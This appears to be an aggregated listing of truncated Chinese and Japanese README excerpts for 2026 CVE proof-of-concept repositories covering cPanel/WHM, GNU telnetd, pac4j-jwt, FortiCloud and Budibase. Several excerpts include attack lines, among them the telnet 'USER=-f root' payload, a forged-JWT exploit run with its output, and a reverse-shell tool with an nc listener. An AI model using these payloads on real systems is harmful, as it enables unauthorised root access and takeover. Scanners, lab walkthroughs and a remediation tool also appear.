cpanel-cve-2026-41940-fix

cpanel-cve-2026-41940-fix 针对通过 CVE-2026-41940 及 nuclear.x86 僵尸网络攻击活动被入侵的 cPanel/WHM 服务器的一键检测与修复工具。 这是什么 2026年4月28日 ，cPanel 披露了一个影响所有 11.40 之后受支持的 cPanel 与 WHM 版本 的预认证 身份验证绕过漏洞（CVE-2026-41940，CVSS 9.8）。攻击者只需向 2087 端口发送一个 HTTP 请求，即可在未认证的情况下注入 user=root 会话并直接进入 WHM。 该漏洞的利用在野外至少自 2026年2月23日...

tiandy-research

tiandy-research 本仓库包含我于 2020 年 8 月对 Tiandy 的 IPC/NVR 固件（这些设备也以 OMNY 品牌销售）的研究结果。这项“研究”并不详尽，但我确实找到了多种远程恢复管理员密码、启用 telnet 以及修改 root 密码的方法。 很难确切地说哪些版本受影响，因为我们只能下载到最近的版本。以下这些可下载版本均受影响： root@kitploit: DVRSV9.12.7.20200422 DVRSV11.7.4.20200721 NVSSV13.6.1.20200723 NVSSV22.1.0.20200722...

CVE-2026-24061

CVE-2026-24061 再現手順 イメージをビルドする root@kitploit: docker build -t telnetd-bypass . コンテナを起動する root@kitploit: docker run -it --rm \ --name telnetd-vuln \ --privileged \ -p 23:23 \ telnetd-bypass payloadを送信する root@kitploit: USER='-f root' telnet -a 127.0.0.1 23 戻り値 root@kitploit: Trying 127.0.0.1...

CVE-2026-29000

CVE-2026-29000: pac4j-jwt 認証バイパス POC このリポジトリには、pac4j-jwt（CVE-2026-29000）における認証バイパス脆弱性の概念実証（POC）が含まれています。この脆弱性により、攻撃者はJWE（JSON Web Encryption）コンテナ内にPlainJWT（alg: noneを使用）をネストすることで、署名検証をバイパスできます。 概要 この攻撃は、サーバーが公開鍵で暗号化されたJWEを復号し、その内部のJWTがnoneアルゴリズムを使用している場合に署名を検証せずに信頼するという挙動を悪用します。 前提条件 Python...

CVE-2026-41940

CVE-2026-41940 — WHM/cPanel 認証バイパス調査ツール このリポジトリには、cPanel/WHM （whostmgrsession クッキーとHTTPヘッダーを介した）認証バイパスチェーンに基づく概念実証（PoC）スクリプトが含まれています。このスクリプトは、侵入成功後にrootパスワードを変更し、結果をファイルに書き込みます。 法的免責事項 このソフトウェアは、明示的な許可があるシステム （自身のラボ環境、契約済みペネトレーションテスト、ベンダー承認済みのセキュリティテスト）でのみ使用してください。無許可のアクセスは、ほとんどの国で犯罪...

CVE-2026-24061

CVE-2026-24061 GNU Inetutils telnetd リモート認証バイパス 本当に2026年になってtelnetですか？ そろそろ移行しましょうよ。SSHは1995年からあるんですよ。 🤦 説明 GNU Inetutils telnetd のバージョン1.9.3から2.7に影響する重大な認証バイパス脆弱性です。 この脆弱性は、NEW-ENVIRON telnetオプションを悪用して login1 に悪意のある引数を注入します。telnetプロトコルを介して USER=-f root を設定することで、攻撃者は認証をバイパスし、資格情報なしでrootシェルを取得できます...

CVE-2026-24061-GNU-Inetutils-telnetd-Remote-Authentication-Bypass-Root-Shell-

🧨 概要 このリポジトリには、GNU Inetutils telnetd のリモート認証バイパス脆弱性に対する Proof‑of‑Concept エクスプロイトが含まれています。 この問題は、telnetd が /bin/login を呼び出す前に、Telnet NEW‑ENVIRON ネゴシエーションを介して受信した USER 環境変数を適切にサニタイズしないために発生します。 以下を送信することで: root@kitploit: USER=-f root telnetd は実質的に以下を実行します: root@kitploit: /bin/login -f root...

CVE-2026-24858

CVE-2026-24858 漏洞分析报告（含来源完整版） Fortinet FortiCloud SSO 认证绕过漏洞（Authentication Bypass） 文档版本 ：2.0（来源完整标注版） 最后更新 ：2026年1月29日 编写目的 ：安全审计、技术文档化、事件响应 📋 目录 1. 概述及基本信息 2. 漏洞机制详细分析 3. 受影响产品及版本 4. CVSS 评分及严重性评估 5. 实际攻击场景及活动 6. 检测及取证指标（IOCs） 7. 即时响应措施 8. 安全加固建议 9. 参考资料及来源 📋 概述及基本信息 1.1 漏洞摘要 CVE-2026-24858 是...

CVE-2026-29000---pac4j-jwt-Authentication-Bypass-PoC

CVE-2026-29000 - pac4j-jwt 認証バイパス PoC 注記: これは私のオリジナルの作品ではありません。参考用としてここに保管しています。 動作方法: root@kitploit: python3 exploit.py http://IP:PORT Fetching JWKS... + Got RSA public key kid: enc-key-1 Crafted PlainJWT with sub=admin, role=ROLEADMIN + Forged JWE token created Accessing /api/dashboard... +...

scan-cve-2026-24061

CVE-2026-24061 スキャナー – GNU inetutils telnetd 認証バイパス ⚠️ 非常に重要な法的注意事項 ⚠️ このツールは教育目的、セキュリティ研究、脆弱性分析、および許可を得たテスト専用 です。 あなたが所有していない、または書面による明示的な許可を得ていないシステムに対する不正な 使用は犯罪 です（ブラジルでは刑法第154-A条＋法律14.155/2021、その他の国際法も適用）。 自分の環境、管理されたラボ、または署名済みの RoE（Rules of Engagement）に基づくペンテスト/レッドチームでのみ 使用してください。...

CVE-2026-41940_exploit

CVE-2026-41940 - cPanel & WHM 認証バイパスエクスプロイト 脆弱性: cpsrvd の HTTP Basic 認証ハンドラにおける CRLF インジェクションを 利用したセッションファイルの操作 CVE: CVE-2026-41940 CVSS: 9.8（緊急） CWE: CWE-93（CRLF インジェクション）/ CWE-306（認証の欠如） 影響を受けるバージョン: cPanel & WHM の以下のバージョンより前: 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20,...

CVE-2026-29000

CVE-2026-29000: pac4j-jwt JwtAuthenticator 認証バイパス 完全なビルドアウト: ライトアップ、Java インプロセス PoC、Python トークンフォージ CLI とライブラリ、テスト。 概要 CVE: CVE-2026-29000 CVSS 10、CWE-347 影響を受けるバージョン: JWE + 署名設定を使用する場合の pac4j-jwt 4.5.9 / 5.7.9 / 6.3.3 問題: JWE でラップされた PlainJWT 署名なし が署名検証をバイパスします。サーバーの RSA 公開...

CVE-2026-29000

CVE-2026-29000 pac4j-jwt ライブラリに見つかった重大な認証バイパス脆弱性である CVE-2026-29000 の概念実証スクリプト 免責事項 この概念実証は、教育および倫理的なセキュリティテストの目的のみを対象としています。これは、HackTheBox ラボ環境の一部として CVE-2026-29000 の技術的な根本原因を実証するために開発されました。...

CVE-2026-31816-rshell

CVE-2026-31816 反向 Shell 漏洞利用工具 概述 该工具利用 CVE-2026-31816 在目标 Budibase 服务器上建立反向 Shell 连接。 攻击链 ：身份验证绕过 → 上传 DATASOURCE 插件 → 服务端代码执行 → 反向 Shell 环境要求 Python 3.6+ requests 库（pip install requests） 存在 CVE-2026-31816 漏洞的目标 Budibase 服务器 使用方法 基本步骤 root@kitploit: 1. 在攻击机启动监听器 nc -lvnp 4444 2. 运行漏洞利用工具（另一个终端）...

CVE-2026-24061

-c0392b?style=flat GNU InetUtils telnetd - 認証不要のリモートルート権限取得（NEW-ENVIRON 変数インジェクション） 概要 - 技術分析 - 影響を受けるバージョン - 使用方法 - 対策と緩和策 - 参考情報 脆弱性の概要 CVE-2026-24061 は、GNU InetUtils の一部として配布されている telnetd デーモンにおける重大な認証バイパス脆弱性です。この欠陥は、初期プロトコルハンドシェイク中の Telnet NEW-ENVIRON オプション（RFC 1572）の処理に存在します。...

cve-2026-24858

CVE-2026-24858 PoC ヘルパー CVE-2026-24858 - FortiCloud SSO 管理認証バイパス このリポジトリには、Fortinet の Web 管理インジケータを スキャン するための控えめな Python ヘルパーと、オプションの（明示的な）ペイロード送信機能が含まれています。エクスプロイト/ペイロード送信機能はデフォルトで無効になっており、実行するには明示的なフラグが必要です。 使用例: 依存関係をインストール: root@kitploit: python3 -m pip install -r requirements.txt...

CVE-2026-24061---telnetd

CVE-2026-24061 – telnetd 🔥 説明 CVE-2026-24061 は、特定の telnetd 実装に影響を与える重大な脆弱性であり、 認証バイパス と、有効な認証情報なしでのリモート root シェル の取得を可能にします。 このリポジトリは、脆弱なシステムを検出するための Proof of Concept PoC を提供します。 ⚠️ 影響 認証バイパス 不正な root アクセス リモートからの悪用 システムの完全な侵害 🎯 影響を受ける可能性のあるシステム ルーター / モデム IoT 機器 組み込みファームウェア telnetd を公開しているシステム...

HotelDruid-CVE-2021-42949

CVE-2021-42949 HotelDruid Hotel Management Software v3.0.3 の controllalogin 関数は予測可能なセッショントークンを生成するため、攻撃者がブルートフォース攻撃により認証をバイパスできる可能性があります。 セッション ID は、各ログイン時に以下の一般化された構文を使用して動的に作成されます: datetime100000-999999incremented login attempts。 これらの値は比較的迅速に推測および/またはブルートフォース攻撃が可能です。 セッション ID は他の保存データ remoteadd...

inetutils-telnetd-cve-2026-24061

GNU Inetutils Telnetd 認証バイパス CVE-2026-24061 Hackviser のラボ環境を使用した、GNU Inetutils telnetd における CVE-2026-24061 認証バイパスのウォークスルーを文書化しました。...

cpanelCVE-2026-41940

🔴 cPanelCVE CVE-2026-41940 — cPanel 与 WHM 身份验证绕过 CVSS 10.0（严重）· 已确认野外利用 · 自动 Root 登录 📖 概述 cPanelCVE 是针对 CVE-2026-41940 的概念验证漏洞利用程序，该漏洞是 cPanel 与 WHM 中一个严重的会话文件 CRLF 注入漏洞，可在 WHM（Web Host Manager）端口 2087 上实现完全 root 身份验证绕过 。 一旦绕过成功，该工具会自动打开您的浏览器 （Chrome 或 Firefox），并直接以 root 身份登录 WHM 界面——无需手动设置...